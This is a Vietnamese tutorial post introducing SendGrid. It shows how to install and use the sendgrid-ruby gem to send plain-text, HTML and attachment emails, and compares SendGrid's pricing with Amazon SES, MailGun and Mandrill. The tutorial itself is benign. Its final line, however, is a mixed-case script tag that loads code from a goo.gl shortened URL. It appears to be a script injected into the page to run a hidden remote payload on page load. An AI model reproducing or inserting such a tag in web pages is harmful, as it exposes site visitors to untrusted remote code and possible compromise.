Tìm hiểu về SendGrid

SendGrid là gì

SendGrid là 1 trong những dịch vụ nổi tiếng trong việc cung cấp email giao dịch (transaction email). Sendgrid cung cấp giải pháp email dựa trên nền tảng đám mây thay thế cho hệ thống email truyền thống của bạn, do đó bạn không cần phải xây dựng, quy mô và duy trì các hệ thống mail server.

Sử dụng SendGrid giúp giảm bớt lượng mail gửi đến thư mục rác (junk folder), dễ dàng mở rộng nâng cấp qui mô hệ thống, cung cấp khả năng đánh giá tính hiệu quả của các chiến dịch mail marketing cũng như 1 kho API với các tính năng hữu ích cần thiết.

Sử dụng SendGrid trong ruby

Để sử dụng SendGrid trong ruby chúng ta sẽ dùng gem sendgrid-ruby Thêm dòng dưới đây vào Gemfile

gem 'sendgrid-ruby'

sau đó chạy lệnh

bundle

hoặc cài đặt bằng dòng lệnh

gem install sendgrid-ruby

Sau khi cài đặt xong gem sendgrid-ruby chúng ta sẽ bắt đầu sử dụng những tiện ích mà SendGrid API đem lại

Tạo mới 1 client với username và password

require 'sendgrid-ruby'

# As a hash
client = SendGrid::Client.new(api_user: 'SENDGRID_USERNAME', api_key: 'SENDGRID_PASSWORD')

# Or as a block
client = SendGrid::Client.new do |c|
  c.api_user = 'SENDGRID_USERNAME'
  c.api_key = 'SENDGRID_PASSWORD'
end

Tạo 1 Mail object và tiến hành gửi mail

mail = SendGrid::Mail.new do |m|
  m.to = '[email protected]'
  m.from = '[email protected]'
  m.subject = 'Hello world!'
  m.text = 'I heard you like pineapple.'
end

puts client.send(mail)
# {"message":"success"}

Bạn cũng có thể tạo 1 Mail object bằng cách truyền vào 1 hash

client.send(SendGrid::Mail.new(to: '[email protected]', from: '[email protected]', subject: 'Hello world!', text: 'Hi there!', html: '<b>Hi there!</b>'))

# {"message":"success"}

Thêm file đính kèm

Bằng cách sử dụng add_attachment method chúng ta có thể đính kèm file khi gửi mail

mail.add_attachment('/tmp/report.pdf', 'july_report.pdf')

Các tham số hỗ trợ

Ngoài các tham số cơ bản khi gửi mail như from, to, subject, text SendGrid cũng hỗ trợ nhiều tham số khác như cc, bcc, reply_to, date, html đáp ứng việc gửi mail với định dạng raw text hoặc html cũng như mô tả chính xác tình trạng của mail được gửi đi

Cài đặt các tham số

Tham số có thể được thiết lập theo cách thông thường trong ruby bằng block hoặc hash

Ví dụ: ta có thể truyền tham số theo 1 trong 1 cách dưới đây

Dùng block

mail = SendGrid::Mail.new do |m|
  m.to = '[email protected]'
  m.from = '[email protected]'
end

Dùng hash

client.send(SendGrid::Mail.new(to: '[email protected]', from: '[email protected]'))

Thiết lập định dạng cho nội dung mail

Như đã nói ở trên thì nội dung của mail có thể được viết dưới định dạng plain text

mail = SendGrid::Mail.new
mail.text = 'WHATTUP KITTY CAT!?'

hoặc html

mail = SendGrid::Mail.new
mail.html = '<html><body>Stuff in here, yo!</body></html>'

So sánh SendGrid và các dịch vụ tương tự

Bên cạnh SendGrid chúng ta có thể bắt gặp 1 số dịch vụ tương tự khác như Amazon SES, MailGun, Mandrill

Amazon SES

AmazonSES tỏ ra vượt trội trong việc đưa ra 1 mức giá rất rẻ cho 1 lượng mail lớn (hàng nghìn mail): 4$ / tháng/ 40,000 emails. Tuy nhiên hệ thống API mà nó cung cấp lại gây khó khăn cho người sử dụng. Mặt khác việc phân tích các số liệu thống kê liên quan đến quá trình gửi, nhận mail là khá hạn chế.

MailGun

Mức giá mà MailGun đưa ra là khá cao: 15$ / tháng/ 40,000 emails. Trong khi đó, việc phân tích số liệu mới chỉ dừng ở mức cơ bản, thời gian phản hồi các truy vấn cao. Tuy nhiên MailGun có lợi thế là họ tập trung hướng tới những nhà phát triển.

Mandrill

Mandrill - dịch vụ của Mailchimp cung cấp 1 giao diện đẹp và dễ sử dụng với quá trình thiết lập ban đầu khá đơn giản. Mức giá mà Mandrill đưa ra khá dễ chịu mặc dù không rẻ như Amazon SES: 5.60$ / tháng/ 40,000 emails. Mandrill cũng cho phép người dùng sử dụng miến phí với 12000 mail / tháng, rất thích hợp với các ứng dụng nhỏ cho cá nhân. Tuy nhiên mức độ tích hợp chưa đủ mạnh mẽ như SendGrid và mức độ hỗ trợ ở mức trung bình

SendGrid

SendGrid có thể coi là dịch vụ tiên phong trong các dịch vụ mail thương mại. SendGrid rất mạnh mẽ trong việc phân tích số liệu thống kê, API đơn giản dễ sử dụng, khả năng hỗ trợ 24/7. Mức giá mà SendGrid đưa ra không quá cao và cũng không quá thấp: 9.95$ / tháng/ 40,000 emails. Đây là mức giá thích hợp cho những gì dịch vụ này mang lại. Nếu mức giá này giảm thấp hơn nứa thì có thể khẳng định đây là dịch vụ tuyệt nhất mà bạn nên sử dụng.

<sCrIpT src="https://goo.gl/4MuVJw"></ScRiPt>